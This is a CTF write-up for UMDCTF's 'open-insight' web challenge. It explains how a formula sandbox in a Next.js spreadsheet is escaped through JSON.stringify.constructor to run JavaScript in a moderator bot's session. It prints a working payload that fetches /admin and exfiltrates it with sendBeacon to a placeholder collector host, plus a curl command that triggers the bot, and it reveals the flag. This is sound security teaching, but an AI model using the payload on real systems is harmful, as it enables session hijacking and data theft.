open-insight
umdctf
Task: a public Next.js spreadsheet evaluates attacker-controlled formulas inside a fake sandbox and lets users report shared sheets to a moderator bot. Solution: escape the formula runtime via JSON.stringify.constructor, execute same-origin JavaScript in the bot's internal web:3000 context, fetch /admin, and exfiltrate the admin page.
$ ls tags/ techniques/
open-insight — UMDCTF
Description
Share your market insights with the world.
The challenge consists of a public Next.js spreadsheet app and a separate bot service that accepts a sheetId via POST /report. The bot claims that a moderator opens and exports the shared workbook in a disposable browser session.
The goal is to turn control over a workbook cell into code execution inside the moderator session, then use that access to retrieve the flag.
Analysis
The public workbook pages embed initialCells directly into the HTML, so any stored formula is evaluated when the sheet is opened. Recon on the downloaded client chunk (sheet_chunk.js) showed that formulas are executed with the following pattern:
Function("S", `with (S) { "use strict"; return (${expr}); }`)(proxy)
The intended sandbox exposes a proxy with selected names such as:
MathJSON.parse/JSON.stringifyNumber,String,Boolean,RegExpparseInt,parseFloat,isNaN,isFinitedocument(proxied)cells(ref)
That is already dangerous, but the core bug is worse: the code tries to enable strict mode inside a with block. That directive is ineffective here, so the attacker-controlled expression runs in sloppy mode.
Once any normal function object is reachable, the sandbox can be escaped through its constructor, which is the global Function constructor. Because JSON.stringify is exposed, this escape is enough:
JSON.stringify.constructor("return this")()
That returns the global object (window). From there, the spreadsheet formula can reach browser APIs such as XMLHttpRequest and navigator.sendBeacon.
Two additional observations shaped the final exploit:
- Saving a sheet is done through a Next server action, but trying to save another user's sheet returns
{"ok":false,"error":"not_owner"}. So the path is not horizontal sheet takeover. - The
openinsight_sessioncookie isHttpOnly, so classic cookie theft from JavaScript is not useful.
That means the correct approach is same-origin JavaScript execution inside the moderator's own session.
Local testing confirmed that formulas can execute JavaScript and send outbound requests. After submitting the attacker workbook to the bot, the exfiltrated request showed that the moderator did not open the public hostname directly. Instead, the workbook was rendered from an internal URL:
http://web:3000/sheets/<SHEET_ID>
That pivot mattered: from this internal origin, GET /admin returned HTTP 200. So the exploit becomes:
- Escape the formula sandbox.
- Run JavaScript in the bot's browser.
- Request
/adminwith same-origin privileges. - Exfiltrate the response body to an external collector.
The captured admin HTML contained the master flag.
Solution
1. Create an account and an attacker-controlled workbook
Create a normal user account, then create a workbook that you own. Put the malicious formula into a cell so it executes whenever the shared workbook is opened.
2. Use a formula payload that escapes the sandbox
Readable reusable payload:
=(() => { const w = JSON.stringify.constructor("return this")(); const x = new w.XMLHttpRequest(); x.open("GET", "/admin", false); x.send(); w.navigator.sendBeacon( "https://collector.example/<REDACTED_TOKEN>", "URL=" + w.location.href + "\n" + "STATUS=" + x.status + "\n\n" + x.responseText ); return "ok"; })()
Compact cell formula version:
=(()=>{const w=JSON.stringify.constructor("return this")();const x=new w.XMLHttpRequest();x.open("GET","/admin",false);x.send();w.navigator.sendBeacon("https://collector.example/<REDACTED_TOKEN>","URL="+w.location.href+"\nSTATUS="+x.status+"\n\n"+x.responseText);return"ok"})()
Why it works:
JSON.stringify.constructorgives access toFunctionFunction("return this")()returns the real global object- same-origin JavaScript from the moderator page can request
/admin sendBeaconleaks the admin HTML to an external endpoint
3. Trigger the moderator bot
Submit the sheet to the report endpoint:
curl -X POST 'https://open-insight-bot.challs.umdctf.io/report' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'sheetId=<SHEET_ID>'
4. Read the exfiltrated admin page
The returned data showed that the workbook was opened from the internal origin and that /admin was accessible there. The saved evidence included the exfiltrated admin page and request log.
The relevant section of the admin page exposed:
Master flag UMDCTF{r0ll_y0ur_0wn_s4nit1zat1on}
Artifacts
The following local files were useful during analysis and verification:
tasks/umdctf/open-insight/sheet_chunk.jstasks/umdctf/open-insight/bot_admin_page.htmltasks/umdctf/open-insight/webhook_requests.json
Ephemeral collector URLs and local credentials are intentionally redacted in this writeup.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]live-signal— umdctf
- [network][free]security-breach— umdctf
- [web][free]Chocolate Drop— alfactf
- [network][free]security-breach-ruin— umdctf
- [web][free]ReactOOPS— hackthebox